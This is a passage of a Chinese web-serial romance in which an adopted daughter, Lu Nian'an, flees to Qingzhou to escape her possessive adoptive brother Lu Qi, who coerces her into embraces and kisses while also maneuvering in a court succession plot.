裙摆散开,层层叠叠的云纱像是花瓣,她则是被花瓣托起的美人,纤纤玉手抬起,露出一截纤细匀称的腕来。 陆念安仰头看腕上的手镯,暖光透过玉石,折射下一片波光粼粼,落在她眉眼上,很安静也很柔和。 “小姐都看了三日了,怎么还未看厌?” 走近后秋菊仔细瞧了瞧那手镯,却没看出什么特别来,收回目光:“要我说,夫人送给小姐的镯子还要更莹润些。” 陆念安没有否认:“其实我也觉得库房里的镯子更好看。” 只是…… 只是孟姨送来的这个镯子,总让她感觉很亲切。 有些奇怪的感受,陆念安一看见这个镯子,就觉得心口很闷。 她缓缓坐起身,腕上手镯藏匿进袖中,闷声道:“怎了秋菊,可是母亲唤我了?” 就在这两日,太医已确诊皇上无力回天,消息昭告天下的同时,宫内局势几乎尘埃落定,意味着新帝就要上位了。 自古以来,新帝上位后最先做得都是杀鸡儆猴。 现如今被关在诏狱里的,便会成为将来新帝拿来练手的第一把刀。 局势已成定局,就算是周家也保不住周越。 这两日,为了让陆念安不多想,陆夫人便托柳乐敏得空了就带妯娌来陆府坐坐,也算是借聊天转移她的思绪。 “小姐是还想听孟夫人说青州之事?”秋菊了然道了一声,紧接着故作遗憾叹了口气:“只是可惜,今日夫人那儿还未递话过来,是旁的好消息。” 陆念安抬眸看向她,歪头好奇:“什么好消息” 秋菊故意卖了个关子,在稚气女声的催促下,她才欣喜开口:“是公子从宫里回来了,刚递话来唤小姐去西院,小姐高不高兴……” 话还未完,瞥见陆念安面色苍白,秋菊一顿:“怎了,小姐是有何不适?” 陆念安已经悻悻然收回目光,低声抱怨:“这算什么好消息嘛。” 长时间处于矛盾与混乱中,理不清剪不断,陆念安无法保证自己面对陆祈时会是平静的。 哥哥总是一直欺负她,越来越过分了,偏生她还没有法子还回去。 陆念安娇气地皱起眉,很快做好决定:“今日这般好天气,我还是去千山宛陪陪母亲吧。” 说着就起身往外走,秋菊愣了好一会儿,反应过来后忙追上去。 一时还有些纳闷。 又是怎了,前几日不是才迫不及待跑去西院吗? * 千山宛内,陆夫人正在品茶。 这茶是昨日孟兰因托人送来的,不比御赐之物,但却是家乡的味道,让人怀念。 慢悠悠饮了盏,陆夫人展开佛经,刚提起笔,门外探进个脑袋,眉眼弯弯道:“母亲无聊吗?” 陆念安一路跑来,额头汗津津的,几丝碎发黏在颈侧,显然是热极了。 “念念?”看见她,陆夫人意外地放下笔。 尤记得往年夏日,若非必要,这孩子是断不会跑来跑去将自己热糊涂的。 陆夫人一眼瞧出她的不对劲,只将那些反常全归于退婚之事,心下直叹气。 陆念安的确是热到了,进屋以后,便默默往放着冰的地方靠。 她身子骨弱,冷热交替最是易生病,往常陆夫人是要念叨的,今日忍了下来:“念念可是自己无聊了?” “你柳姨这两日都说在忙,我记得你兄长要从宫里回来了,”陆夫人抿了口茶,长舒口气:“也小一月未见,等他回来后,我去同他说,让他抽空陪陪你。” 陆念安正将指尖覆在冰上降温,恍惚了瞬,倏然收了手站起身:“我,我不无聊的!” 头顶步摇随着她起身猛得晃荡起来,圆润的杏眸里也因此染上一丝抵触。 陆夫人心下疑惑,刚要问一句,红木雕花门前多出一道影。 午后日光将来人的影子拉长,脚步声渐近,又止步。 “你兄长回来了,”陆夫人忘了疑惑,笑起来:“今日也是巧了,怎一念叨便来了。” 第84章 第八十四章 刚从宫中回来,陆祁身着一袭红色官服,长衫下摆绣着华贵繁复的云纹,气势凌人。 随着他的走近,几个丫鬟也小心翼翼地进了屋,动作干脆,将盛在小案上的冰块撤下去。 屋内的凉气霎时间减淡,陆念安这才有了反应,指尖微动了动。方才碰过冰,掌心一片湿濡,此刻凉意聚成水珠顺着素指往下滴落,在裙摆间氤氲开一片水迹。 她有些不安地捏住裙摆,视线之间却落下一方绸帕,男声平静:“擦擦。” 见她未动,陆祈到也习惯,垂眸拉过她的手。陆念安往后缩了缩,他微顿,温声哄道:“听话些。” 话落的瞬间,陆祈重新篡紧,这才不疾不徐地将那些水渍一一擦拭干净。 午后倾斜散进的光将两人笼罩于一起,陆祈身影高大,神色耐心,捏着绸帕的长指又拂过她饱满的额。 从陆夫人的角度看去,画面温馨和谐,到同从前无二。 只是两个孩子如今都大了,陆夫人感慨时光飞逝的同时,看向兄妹两人的神色越发怀念。 没温馨多久,陆念安忽得抬手抢过绸帕。 她惯不会隐藏心事,杏眸瞪了陆祈一眼:“不麻烦哥哥了,我自己来。” “好,”陆祈神色未变,侧眸看向陆夫人:“母亲,这三日休沐,我陪阿念几日。” “我正巧要和你提这件事呢,”听见他主动提起,陆夫人神色放松下来:“这几日变故急,你好好陪陪你妹,练琴也好舞剑也好,小姑娘娇气些正常,你别同她计较就行。” 话音刚落,没等陆祈答话,一侧的陆念安却是第一个不同意,蹙起眉:“不要。” 屋内忽得安静,许是察觉到自己反应太大,陆念安放下绸帕,默默补充:“我,我就是还想多陪陪母亲您。” 这话理由显然有些苍白。 陆夫人照顾着她的情绪,耐心问她:“是还未同你兄长和好?到底怎么惹着念念了,今日母亲也好帮你出气。” 陆念安便不说话了,重新低下头,莹白小脸上写满了纠结。 陆夫人只好将目光转向陆祈,沉声发话:“祈儿,你来说。” “的确有一事惹了阿念不快,”缓缓拾起被她丢弃的绸帕,陆祈摩挲了瞬,抚平褶皱收好后才回答:“从浅西回来的那日,无意弄脏了阿念新制的衣裙,还未同她赔礼道歉。” “那就是你的错了,总统便只制了三身,”好在不是什么大问题,陆夫人说了几句他,开始劝和:“这样吧,过几日你去找绣娘再替念念制几身,也算是赔礼了。” “念念呢也体谅体谅你兄长,浅西毕竟也不是什么好地方,赶路累到了,刚回来有些风尘实属情理之中,我帮你教训过他了,再罚你兄长弹几首曲子给你听,去吧。” “我……”一番话滴水不漏,陆念安揪住裙摆,才想明白此番前来,应是陆祈刻意为之。 他永远都比她聪明,更知道如何让她服软,连反抗的机会都不给。 午后闷热,陆念安不情愿之际,陆祈拉过她的袖摆,笑声浅淡:“走了,妹妹。” 主屋的门被合上,屋内重新回到寂静。 解决完一桩大事,陆夫人同一旁的陈嬷嬷邀功:“小姑娘长大后,心事是越发多了。” “依老奴看,还是夫人教得好,若还像从前那般不明事理总跟在公子身后,那才不像话呢。” “这也是,稍大了些,传出去免不得要招人议论。” 提起这个,陆夫人到想起件往事,气得一连饮了两杯茶:“你说说兄妹两长大后都这般避嫌了,半年前我替念念择婿时,那,那王家的知道了,说了句将我懊死得话。” “说还以为我家念安是给陆祈找得小媳妇,我可真是……” “夫人不气不气,”陈嬷嬷拍了拍她的肩安抚:“府上对小姐,那可都是按照嫡女的规格置办,也就那些外人胡说胡说。” 屋子里都是相处了十多年的心腹,两个人说话间,并未避着一旁丫鬟,只是聊着聊着,站在窗边收拾花瓶的福儿指尖一滑。 那花瓶是陆夫人最喜的一个,多年前陆将军所赠,转眼间已过了二十余年。 福儿眼瞧自己坏了事,连忙跪下来请罪:“夫人,奴婢不是小心的,是近几日,是,是奴婢听见了些蜚语,一时出了神。” “还望夫人不要怪罪,奴婢也是,也是被那些蜚语冲昏了头。” 她脸上的慌乱不似作假,更何况相处多年,陆夫人如今也不想斤斤计较,冷声道:“听见了些什么?” 这句话明显让她更惶恐了,恐惧弥漫开,福儿磕了个头:“是,是有关于公子同小姐的,府上丫鬟没个正形口无遮拦……” * 长廊外,暖阳有些刺目,两道长长的影被日光虚化在一起。 陆念安闷闷靠着红柱。 被陆夫人赶出来就算了,还要去西院,忍了忍,她还是觉得自己受不了这般委屈,甩开身旁的人手,气道:“为什么要同母亲说假话?” 她努力表现出严肃的模样,板着小脸,下颚同样绷得很紧。 但语气里微不可闻的哭腔暴露出一切,或许轻轻逼一逼,就是要偷偷掉眼泪的。 陆祈看着她,不知想到什么,有些无奈地叹了声气。 “你叹什么气?我都还没委屈呢你还叹气……”陆念安现下是什么都看不惯了,像个一点就燃的小炮仗,直到微风将她的碎发吹起,扫过眼眸有些痒,她忽得息声,有些烦闷地抬手整理。 许是心情不好的缘故,她下手没个轻重,越整理反而越乱,干脆收了手,仍由视线被这些碎发遮挡住。 放下手的瞬间,陆祈单手捧起她的脸,长指划过脸颊,耐心替她将碎发收拢至耳后,淡声解释:“是忽然觉得,连阿念生气的摸样都很是好看。” 他显露出几分从前的耐心,眉眼柔和,温润极了。陆念安愣了愣,忽得有些晃神,连脸颊被摩挲的有些痒都未抱怨。 直到视线重新清明,她忙退后一步,强调:“少说这些哄人的话,我早就长大了,才不会随随便便就同你和好。” “这样啊,”陆祁只好有些遗憾地开口:“那阿念不满哥哥方才说得话了?” “我便再去同母亲解释一遍如何,阿念想让我怎么说,我便怎么说。” 他语调带上几分纵容的意味,很快转身,缓步往前走着。 千山宛处处飘着佛香的沉静,长廊尽头,漆木红门庄重,一墙之隔的屋内,福儿打碎花瓶,忙跪在地上。 看着眼前那道修长的背影逐渐走远,陆念安毫不怀疑他真的会拉开门重新进屋。 心下有些焦躁,陆念安只好又上前两步拉住他,她莹白透粉的脸上写满了不可置信:“你……” 大手反握住她的腕,陆祁看向她的神色间染上几分笑意:“想说我变了?” 明明是欺负她的人,现下却坦荡到仿若什么也不在意。 陆念安看向两个人紧贴在一起的腕,隐隐意识到他的意思,下意识想要逃离。 怕她掉眼泪,陆祁没有逼她,卸下力道,见好就收地哄道:“若阿念还因为前日之事生气,抱歉,哥哥也不是故意弄脏你的。” 他浅笑着,玩弄起她纤长柔软的素指来,语调一转:“只是,阿念也要慢慢习惯? ” 习惯什么?泛着凉意的指腹划过手心,陆念安倏地将双手收回藏在身后。 陆祁不甚在意地收回手,上前一步将她揽进怀中,低声道:“几日未看着你就要跑,同方家那小子又是如何认识的。” 小册暴露后,他不加掩饰的占有欲加重。 见她沉默,陆祁垂头,额头抵着她脖颈:“我不逼你,只是阿念,退婚后也安分些时日如何?” 呼吸融在脖颈,他语调明明分外柔和,陆念安却听出了几丝威胁的意味。 垂眸看去,他眼眸落在阴影里,变得深沉晦暗,无时无刻不在提醒陆念安回忆中的坚硬和炙热。 当即便被吓哭了。 他有些不解地挑起她的下巴,见她两泪汪汪的:“哭什么?” * 梧桐树长势极好,正午,园中一片绿意盎然。 送走了陆念安,守在廊外的青竹已经满头大汗,他费力地擦了擦,上前提醒:“大人,您的伤……这两日都未上药,王太医已在西院等着了。” 陆祁却未动,沉吟片刻,问道:“我今日同从前,可有何变化?” “啊?”青竹虽有疑惑,但还是如实答道:“除换上了这身官服以外,大人同从前无二。” “是吗?” 陆祁静站在廊下,一贯平静的眸间,却罕见地有些出神。 想到方才,她泪眼朦胧说要走得样子。 明明什么也未做,却还是将她吓哭了。 还真是……娇气。 从回忆中抽离,眼前只剩下空荡长廊,陆祁的神色骤然冷了下来:“三日以后,拿令牌去将城外的那支暗卫调回来。” 三日以后,新帝昭示天下的日子,即便再有人不愿,也不该摆在明面上。 青竹心知该怎么做,点头应下后,到是又忆起另一件事:“张大人昨日递来消息,问周越如何处置。” …… 日光太烈,行到半路,陆念安已被晒得晕晕乎乎。 忽然想起自己忘了问柳姨孟姨何时来,她有些烦闷了,但到底还是好奇,纠结了瞬便沿原路走回。 转角口,没等她侧过身,听见耳边落下周越二字。 屏住呼吸,陆念安下意识止步,听见耳边落下一道冷漠至极的男声,居高临下道—— “再让他多吃些苦头。” 像被人用冰水沁进骨子里,陆念安愣愣抬眸,等再回过神时,只觉得方才那点热气全然消散。 她控制不住地让自己去往坏处想。 回西院的路在反方向,陆念安靠墙躲了一会儿,觉得自己有些混乱。 不知过了多久,长廊上几道人影尽数散去,只她仍然未动,最后还是陈嬷嬷发现了她,惊讶道:“小姐怎么在这儿?” 陆念安闻声看去,整个人焉巴巴的,脸颊有些惨白,无力着:“嬷嬷?” “哎呦我的小姐哦……”陈嬷嬷忙弯下腰扶起她,她身子骨软,被人轻轻一拉便柔柔倒了过来。 陈嬷嬷僵了僵。 从前只当她还是个孩子,现下一看,却怎么看怎么不是滋味。 小姑娘一双眸生得过于清澈,总叫人忽略她娇媚的相貌,鼻尖秀气,唇是殷红的,偶尔掉几滴眼泪哭几声,怕是谁也受不了。 有些事情一旦捉摸到些蛛丝马迹,便再绕不回原样,她看向陆念安的神色便越发不自然。 被这般打量,陆念安心下生出几分怪异来:“嬷嬷怎么了?” 陈嬷嬷摇头,抬手抚了抚她的发:“是夫人有话要对小姐说呢。” 步转回廊走向里屋,推开门,一眼看见案桌上铺着长长的佛经。只是整齐排列的小字上,有墨点晕开,突兀极了。 可陆夫人最是爱惜这份佛经了。 心下的怪异加重,没等陆念安想出个明白,陆夫人将佛经随意合上便朝她走来。 在后宅多年,陆夫人很少会露出这样凝重的表情,眉眼沉下:“阿念,我做主替你兄长指桩婚事如何?” 第85章 第八十五章 陆念安的记忆中,陆夫人一直都是她最为敬重的母亲。 陆夫人却总提起愧疚二字,说她从前不够好。 长大以后,陆念安才知自己初来陆府时生得那场重病,原来还同这位“母亲”有些干系。 陆夫人总愧疚,说是因为自己的刻意忽视和冷处理,才纵容了那些丫鬟们变本加厉地欺负她。 直到她收到亡夫寄回来的信,才知陆念安是丈夫救命恩人唯一的孩子。 那年深冬,陆将军所领的一支军队碰上了吐蕃人,寡不敌众,受了重伤。 陆将军强撑着躲到一处村庄里,被正在砍柴的陆勇救下,知晓他是开国大将军以后,陆勇为救他拖延时间撑到了救兵前来,同样因此丢了性命。 陆夫人并不忌讳谈起这些,更不忌讳聊起愧疚二字。 但真心换真心,这么多年来,陆念安能感受到她对自己的爱。 陆夫人对兄长的那些打压,从不会落到她头上,以至于她冷静了两年过后,才意识到陆夫人总劝诫陆祈的那句“克己守礼”是何意思。 想到这里,又看着陆夫人的一脸凝重,陆念安当即紧张了。 她太青涩,青涩到只是一个表情,一句话,就能将她吓得肩侧发颤,恨不得全交待了:“好,好,我都听母亲的。” …… 见她这副模样,陆夫人心下如明镜一般,确定几个丫鬟不是空穴来风了。 叹声气,陆夫人面上的凝重缓缓散去,勉强扶了扶额,身后的陈嬷嬷忙小跑过去拉住她:“夫人,夫人没事吧?” 陆夫人摇摇头。 虽说这些年,大大小小的起伏她早已司空见惯,但祈儿可是这般稳重的性子……她终是疏忽了。 若一开始就如那王夫人所说也就罢,但打从看到那封信开始,陆夫人是真真切切把陆念安当成自己的孩子对待。 礼佛多年,陆夫人最是相信因果,这孩子父母双亡,父亲还是因为他们陆家才惨死,祈儿若做出将她拘在后院这般不顾伦理之事,只是怕连佛也不会饶恕。 “怎么都有些头昏了,”陆夫人声音一瞬间苍老了许多:“我当他是个省心的,他却是能耐大了,管也管不着,不管又不行。” 陆念安默默低下头。 明明非她所愿,但在听到陆夫人抱怨的时候,她还是感受到一股很强烈的羞耻感,这羞耻越过了许多回忆,生生提醒她也并非无辜,也曾对自己的哥哥生出过依赖。 陆念安很讨厌这样的偏离感。 陷在沮丧里,陆念安想要逃离的心思达到顶峰,几乎没有思考,她小声道:“那我去青州避一避吧。” 做出这个决定的同时,陆念安竟然感受到一股轻松,于是很快又道:“我去青州避一避风头吧母亲,我也想跟着孟姨去看一看青州,等母亲替哥哥定下婚事,我再回来。” 这回轮到陆夫人愣住了。 怎么说也养了十余年,她到从没想过将陆念安送走。 但当下显然没有比这更好的法子,陆夫人呼出口气,既庆幸发现的早还没闹出什么,又庆幸陆念安是个懂事的。 她拉起陆念安的手摩挲着,片刻后拍了拍,道:“……母亲没有怪你,毕竟是你兄长不懂事。” “我今夜同你孟姨提一提,若她应下,你便过去青州散散心,只是委屈你了。”顿了顿,陆夫人神色更加复杂,认真道:“只是散散心,最多呆两月便将你接回来,此事也不可同旁人提起。” 陆夫人什么也没怪罪,除却方才有些严肃外,现下又变得和蔼。 这样柔和的态度,陆念安眼尾湿濡,很迫切地想让一切回到原样。 * 新帝上位,正处于朝廷局势大变的关键时刻。 此事说大不大,说小也不小,若被人捏了把柄编排,到有些难办。 陆夫人没敢对任何人声张,一直到当夜的晚间,才悄悄派人去邀柳乐敏来了趟陆府商议。 孟兰因做得是布庄生意,同上京的好些商铺都有合作,此番来上京,也是因为有一批料子贵重,要叫人小心翼翼盯着才好。 现下事已成,孟兰因本也是要回青州,提前几日,算不上麻烦。 借柳乐敏传话,孟兰因欣然答应,只告诉陆夫人等两日便可出发。 一夜之间,有什么悄然改变了。 翌日一早,陈嬷嬷便将消息带给陆念安,又叮嘱她不必备制什么,一切都会准备妥当。 陆念安没想到会这般快,忽然生出一种不真实的感觉,整个人有些飘飘然:“明,明日吗?” 卧房内,包括秋菊在内的所有丫鬟都已被支开。 陈嬷嬷看了眼合上的门,忽然间老泪纵横,一边拿出手帕擦泪,一边摇头:“是有些匆忙,夫人也说委屈小姐了。” 青州上京两地相隔甚远,此番一别,就要等到下个秋日才能相见。 陆府里就只一位小姐,两月不见,陈嬷嬷还真有些不适应,忍不住叮嘱她:“夫人都同你孟姨交待好了,等过去青州,你便在方家借住两月,要记得常寄信回来。” 虽说陆夫人一直强调委屈了她,陆念安却没觉得有什么委屈,反而一直有些期待。 只是当陈嬷嬷流泪叮嘱的这一刻,陆念安也忍不住哭出声,渐渐意识到舍不得。 刚要点头,门外传来秋菊恭敬地声音:“公子,小姐好生在屋内呆着的。” 片刻,紧闭着的门被轻叩了三声,还在难过中的陆念安一下子回神,呆呆的。 陈嬷嬷无声地拍了拍她的肩,上前拉开门才小心退下。 房门大开,一时间白光泄了一地,陆念安惯不会藏匿心事,几乎是同一瞬间,就僵在原地不知能干什么。 缓了许久,她才闷闷开口:“哥哥怎么来了。” 眼前落下一片影,陆祈已经缓步走到她面前,一双大手轻轻将她揽过。 夏日里衣衫单薄,缩进陆祈怀中后,她有些不适应地动了动。 因为刚刚哭过,她鼻尖红红的,眼眸湿润,像被人欺负得很了。 陆祈轻触上她的眼眸,指腹擦过眼尾,留下一道浅淡的红痕,他眼眸微眯,细细打量着她的神色:“怎么哭了?” “……” 陆念安本就泪眼汪汪,听见这话,眼泪便不争气地又往外冒,哪里还说得出话。 没一会,小脸上便布满了泪痕,她抽哽着不停,陆祈心下叹气,恐她呼吸不上来,大手拍了拍她的肩,安抚:“没有逼你,不想说便不说了。” 陆念安终于松了口气,哭声渐渐止住,但还是不知说什么。 回忆起从前,每每做了什么坏事,即便她不开口,哥哥也总能发现。 他实在太了解她了。 若让哥哥发现她要去青州,她还有机会离开吗? 陆念安思绪乱极了,眨了眨眼,干脆不开口。 陆祈正捧着她的脸替她擦泪,静默了两秒后,他指尖微顿,装似不在意地提起:“今日怎么这般乖。” 乖? 她哪日不乖了,这话问得她好像很不听话一样。 陆念安蹙起眉,忍不住抬眸瞪了陆祈一眼。 “该是这样才对。”陆祈轻笑了声,替她擦完眼泪后,一手提起她的肩,将她调转了个方向:“抱歉,今日哥哥不能给阿念弹琴了。” 恍然间变成面对面的姿势,陆念安无处可避,腿心隔着薄纱抵在他劲实有力的腰腹上,她顿时面红耳赤,终于想起来反抗。 “别动,”他一边扶住她的腰收紧,一边将下巴抵在她肩上,回忆:“现在想来,小时候总这样抱你,现在呢,现在阿念会不适应吗?” 这是一个十足占有的拥抱,他双手揽得太紧,陆念安脸颊发红,当即点头,还以为他会松开一些。 耳边却传来声轻笑:“小时候你也是这样抱哥哥的,我当时也不习惯,多抱抱就习惯了。” 不知抱了多久,感受到他越来越硬,热热的抵在她腿心,陆念安终于忍不住了,娇气地挣扎起来:“放开。” “可是阿念,他很喜欢你,”陆祈轻叹一声,温柔道:“哥哥也很喜欢你。” 呼吸声融进耳畔,心脏忽然很轻的凹陷下了一点,陆念安愣了愣后,更加剧烈地挣扎起来。 “不做什么,你听话一些,”陆祈浅笑着,缓声诱哄道:“不喜欢的话,阿念亲亲我,我就走了。” “……” 陆念安从未发现兄长还是这般无耻之人,呼出口气,她气得快要不能呼吸。 “阿念,这是什么?”见她恼怒,陆祈指着一旁道。 榻边放着个小信封,没有打开,但很鼓,明显装着什么。 是方才陈嬷嬷留下的银票,她一紧张,便忘了藏起来。 见陆祈欲伸手拿起,陆念安明显慌张了,连生气都忘了:“哥哥!” 她将他抬起的手往自己腰上挪,顿了顿,又主动仰起头吻过去。 一个一触即逝的吻,正气鼓鼓想赶他快走时,落在她腰上的手加重力道,她惊呼一声,陆祈扣住她的后脑,很快加重了这个吻。 他总是能让她呼吸不上来,寂静室内,水声搅动,陆念安双手无力地抵在他胸口:“呜呜…” 被松开时,她一脸被人吻透得模样,眼尾泛红,唇瓣湿濡。 “好乖,会一直这样乖吗?”陆祈好像忘了那封信的事,静静凝视着她。 陆念安靠在他怀里,意识迷离,下意识就点头。 “这样啊,”陆祈轻轻笑起来,捏了捏她的手心:“你乖一些,我就都依着你,做妹妹也好,若还想嫁人,也只能嫁给我。” 他缓声强调:“别让我生气了,阿念。” 若静下心听这番话,大抵能听出他浅笑下的冷意,让人不寒而栗。 只陆念安连呼吸都有些牵强,也实在没心思去想旁得了,想着先糊弄过去,就敷衍道:“我会听话的。” 陆祈终于放开了她。 一门之隔的廊下,秋菊愣在原地,陆祈并未看她,直接离开了院子。 青竹正守在外面,看见他的身影,上前两步:“大人,大皇……皇上已经等了您一会儿了。” “知道了。” 陆祈用替妹妹擦过眼泪的软帕擦拭唇角,他眼底的柔和一点一点逝去:“昨日夜里,好像见到了柳家的马车。” 第86章 第八十六章 长街尽头,寻常而普通的茶楼外被围得水泄不通。 偶然有路过的百姓见了,大多对身旁人疑问道:“今日来了什么大人物?” 着黑衣戴黑帽的禁军排开,腰胯长刀神色肃杀,稍有眼色的人都知不能多看,忙拉走同伙:“这么大排场,怕是宫里头的吧,快走快走。” 一直到日落时分,楼下那些禁军松动了些,而一辆马车迎面停下。 陆祈抬步直上茶馆二楼。 还未止步,一侧的门被直接拉开,大皇子匆忙跑出,紧皱住眉头看向陆祈:“还以为陆兄是打算跑路了。” “臣不敢,”陆祈缓步进了屋内,语调平静:“已从城外调了支暗兵进京,虽是不多,但甚在忠字,全凭皇上调用。” 他身影沐在黄昏色的光影里,锦绸官服清贵,神色越发沉静。随着话落,身后的青竹才意识到那支暗兵的用意,忙奉上令牌给大皇子。 半弧形令牌用黑乌木所制,厚实细腻,泛着低调的光泽。 大皇子见了,紧绷了小半月的神色终于松了些。 接过令牌,他垂眸看着窗外那些名为保护实为控制的禁军,忽得压低声音,冷声道:“陆祈,宫里那些老头可都传我们是一条船上的人,本王若是成了反贼,你也别想干干净净地脱身。” 陆祈面色不改:“皇上说笑了,既为臣,便一心为了朝廷。” “……”大皇子嘴角一抽,正要反驳,一个太监从屋外跑来,慌忙说了些什么。 他面色变了变,藏起令牌:“朕要回宫里了……都乱成一锅粥,你明日怎么说也该过去处理那堆烂摊子。” 大皇子一边说着,在太监的护送下回到马车内。 疾驰间,周遭一切正迅速褪色,他扭头,将这天下尽收眼底。 若后日不出意外,这天下便是他的了,他却没有想象中那般兴奋。 见状,太监劝慰地问道:“陛下怎不开心?” “废话,都被利用了个彻底了。” 认真想来,计划除掉父皇上位这事应不止他一人吧? 画舫上那桩刺杀应是四弟做的,大皇子本没放心上,直到大理寺查着查着却将脏盆子往他头上靠,至使他不得不先乱了阵脚。 罪名一旦定下便是弑君之罪,活罪难免死罪到是难逃,除了真反这一条路,他还剩下什么? 好在他同他那个傻父皇不同……呼出口气,大皇子紧紧捏着手中令牌,祈祷一般:“父皇在上,此番凶险,若能顺利上位,我定给你的好忠臣赐桩好婚事,替您解决您多年的心头大事哇。” * 昏沉沉睡了一夜,陆念安醒来后,总觉得心脏有些闷。 她艰难地下了榻,白光刺眼,抬起手挡了挡,忽然生出一种恍然隔世的错觉。 没等她伤怀,面前的门被推开,秋菊挎着个小包袱进屋,无奈道:“小姐!” 陆念安回神,有些懵懵地看向她:“嗯?” 秋菊一连幽怨地走进屋:“只过去歇两个月,怎么一副要死不活的模样,不知道的还以为您是要跑了。” “昨日无聊,一不小心看了半宿话本,”陆念安摸摸头,莹白透粉的小脸上有些不好意思:“秋菊你怎么……” “嬷嬷同我说了,我也想去青州看看,”秋菊面上有些不快,冷冷道:“让莲叶留着守屋吧。” 陆念安不敢回话,默默走到一旁的高柜面前,有些没事找事地收拾起来。 指尖心不在焉地抚过那些书册,她忆起昨日看得那话本。 不知是哪个小丫头留下的,好巧不巧,偏讲得是表妹同表哥的故事。 陆念安有些好奇,一边脸红一边往下看去,恍然发现书里的表妹同她一样,竟然也想着要离开。 但也有些不一样。 陆念安想,她还是会想要同哥哥和好。 可是真的还能和好吗? 心脏忽得跳动起来,就像在预示什么不好的结果一样,陆念安捂住心口,告诉自己不要乱想了。 等定下婚就好了。 母亲已经答应过她,最迟不会超过两月。 两个月会很快过去的。 缓缓呼出口气,陆念安手捧住下巴,干脆坐在地上。 晨日里白光无瑕,静静笼着这间屋子,红木长桌,桃花灯,点翠屏风、白瓷花瓶……一切都和很久之前一样。 思绪慢慢飘远,陆念安想起初听见兄长要去塞北时的无措。 她不再纠结什么是喜欢,被兄长凶过的委屈也从那一刻开始变得微不足道。她只是想,等哥哥回来以后,她一定会乖乖做好妹妹的。 …… 从回忆中抽离,陆念安轻叹声气,正要起身之际,余光却瞥见角落里的一个红木匣子。 那匣子静静摆在高柜的最下方,因为长时间未被翻看,红木上积攒了层灰。 愣神片刻,陆念安抹去灰尘,上前将那匣子打开。 匣中放着一盏熟悉的花灯,在经历了时间的变迁后,这盏花灯仍旧精巧,仍旧令她欢喜,是她小时候最美好的回忆。 只是它放在这里太久了,也很久没被人翻出来欣赏过,开始变得褪色。 陆念安伸出手,不知想到什么,她有些好奇地笼住那盏花灯,试着捏了捏。 竹片很薄,夏日里又干燥,稍加施力,甚至连声音都没发出声,它便就已经碎了。 “呀!”陆念安不知所措地收回手,忙将匣子合上站起身。 秋菊还在收拾。 虽说船上什么都有,但怎么说也要呆上十天半月,怕陆念安不习惯,她这才又多拿了些贴身衣物。 包袱小小的很轻,秋菊挎好,思索着时间也差不多到了,回过头:“夫人说马车已经备……小姐怎么哭了?” 几滴泪珠子滑落下来,陆念安揉了揉眼,摇头:“是秋菊看错了。” 秋菊是真看不懂她的小孩子脾性了,时间紧迫,她没追着问,当即就将陆念安拉了出去:“夫人说怕太惹眼,她就不过来送了。” 今日一早,听闻陆祈被唤去宫里后,陆夫人当即就让人去备了马。 方家的船已经在等着了,马车会直接绕去曲江。 秋菊是个利索的,上了马,她先是替陆念安戴好面纱,又湛了杯茶给她解渴:“小姐用些水。” “我好像看见母亲了。”视线模糊,陆念安正要细看,一侧的车帘却被人放下。 秋菊收回手,无奈叮嘱:“小姐,此番避暑要低调些的,你这般东瞧瞧西看看,两个月后若被谁议起,那如何能说得清?” 这话倒没错。 陆念安是极听劝的,当即点头,又乖乖捧起那茶杯,不再去想方才那一幕。 马车逐渐驶过长街。 陆府外,藏在石狮子后方的陆夫人也悠悠收回目光,摇头:“本说了不来不来,到底还是舍不得,得亲自来看看才放心。” 陈嬷嬷上前扶她,附和:“是呀,这不亲自看着,总觉得心里不踏实。” “好在祈儿今日去了宫里,也算是让我省了省——” “是呀,也是赶了巧,大公子今早去了宫里,才这般顺利呢。”没注意到身旁人忽然僵住,陈嬷嬷仍低着头附和着。 陆夫人忽然将大半个身子都压在陈嬷嬷肩上,猛得一瞧,她被吓了个半死,呼吸艰难起来:“祈儿?你何时回来的。” 写有陆府的牌匾下,两头石狮子一左一右威武庄重。 台阶之上的,那道修长的影静静立着,乌发束起,黑衫寡淡,不知在此处听了多久。 沉吟片刻,陆祈才分出目光看她一眼,随意道:“怎么,只许母亲舍不得?” 第87章 第八十七章 渐入盛夏,江边仍有冷意未散,一到正午,曲江边便停靠了好些船只,都是前来游船盛凉之人。 马车疾驰过长街停下,耳边传来嘈杂,秋菊先下了马车,张望了瞬后,拉起陆念安就往最右侧的货船靠。 好在正午人多,并未有人注意到两人。一路通畅地上了船,沿台阶走到最上空,对岸吹来的冷风荡漾起裙摆,整个曲江被尽收眼底。 陆念安朝前看去,思绪渐飘远,迎面却走来两个少年郎,像是为她走来。 她怔了怔,下意识转身避开,方艾却已经自来熟地跑上前同她打招呼,还隔着老远便开始叫唤:“念安妹妹!念安妹妹别走,上回在陆府,我们见过的。” 他应是说柳姨来那一日,陆念安想起来,犹豫开口:“你……” “我叫方艾,你可以唤我表哥,”解释完,方艾又拉过一旁的白衣少年,殷勤道:“他叫方许,也是你表哥。” 话音落下,白衣少年上前两步,朝她轻点了点头,温和道:“表妹妹。” 货船上本空荡,现下平白无故多出两个表哥,不只是陆念安,连秋菊都觉得两人不怀好意,悄悄道:“小姐,要不我们还是先走吧。” 货船上空荡,日光毫无遮挡地落下,即是当下要走,也避无可避了。 好在孟兰因姗姗来迟,这时匆忙赶来。 止步,瞧几人面对面却不说话,孟兰因心下了然,牵起陆念安的手解释:“方艾是你柳姨的小儿,方许是我膝下的长子,论起辈分来,的确还都是你表哥。” 又安慰似拍了拍她手背,长指因此触上她腕边的手镯,孟兰因顿了顿,回过神:“这几日走水路,偶尔会靠在岸边歇一歇,念安你有什么缺得或是想要的,尽管使唤你表哥们。” “好。”陆念安略显局促地点了点头,显然还未适应这多出的两个表哥来。 被烈日笼罩着,一行人站在船舱之上,生出了些许薄汗。小厮终于解开暗绳,顺风杨起帆来,又将写有方字的旗帜高高挂起。 风将帆吹得鼓鼓的,不过片刻便带动这艘货船往前挪动。 船就要开了,江面上荡漾开一圈又一圈的涟漪。货船沿路南下,未来十日,周遭的渔民见了这商户的标识,都会主动避开让路。 陆念安站在帆下,裙摆同乌发被一同卷进风中,与此同时,心下忽然生出一股很不踏实的慌乱感。 她侧眸看向对岸。 岸边杨柳依依垂下,嘈杂同喧闹逝去,耳边余下风的声音。 明明一切都同方才一样,陆念安却觉得更不舒服,细眉蹙起,面色也苍白了。 察觉到她的不对劲,孟兰因便牵住她往楼下走,柔声道:“累了吗?方才替你收拾了间屋子,念安你先歇一歇,至于你的表哥们……若是不想接触便也罢了。” 